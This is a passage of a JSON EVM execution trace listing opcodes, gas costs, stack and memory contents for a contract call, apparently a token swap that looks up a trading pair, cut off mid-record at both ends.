43905","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0x4c711efa05b78582f07d9d960b1dadde95688166","0x4","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":2946,"op":"MSTORE","gas":100311,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200","0x4c711efa05b78582f07d9d960b1dadde95688166","0x204"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a4390500000000000000000000000000000000000000000000000000000000"]},{"pc":2947,"op":"SWAP2","gas":100305,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0xffffffffffffffffffffffffffffffffffffffff","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":2948,"op":"AND","gas":100302,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x200","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":2949,"op":"PUSH1","gas":100299,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x200","0x175940b39014cd3a9c87cd6b1d7616a097db958e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":2951,"op":"DUP3","gas":100296,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x200","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":2952,"op":"ADD","gas":100293,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x200","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x24","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":2953,"op":"MSTORE","gas":100290,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x200","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x224"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","9568816600000000000000000000000000000000000000000000000000000000"]},{"pc":2954,"op":"PUSH1","gas":100284,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2956,"op":"ADD","gas":100281,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x200","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2957,"op":"PUSH1","gas":100278,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2959,"op":"PUSH1","gas":100275,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2961,"op":"MLOAD","gas":100272,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x20","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2962,"op":"DUP1","gas":100269,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x20","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2963,"op":"DUP4","gas":100266,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x20","0x200","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2964,"op":"SUB","gas":100263,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x20","0x200","0x200","0x244"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2965,"op":"DUP2","gas":100260,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x20","0x200","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2966,"op":"DUP7","gas":100257,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x20","0x200","0x44","0x200"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2967,"op":"GAS","gas":100254,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","0xe6a43905","0x244","0x20","0x200","0x44","0x200","0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","e6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2968,"op":"STATICCALL","gas":100252,"gasCost":98688,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf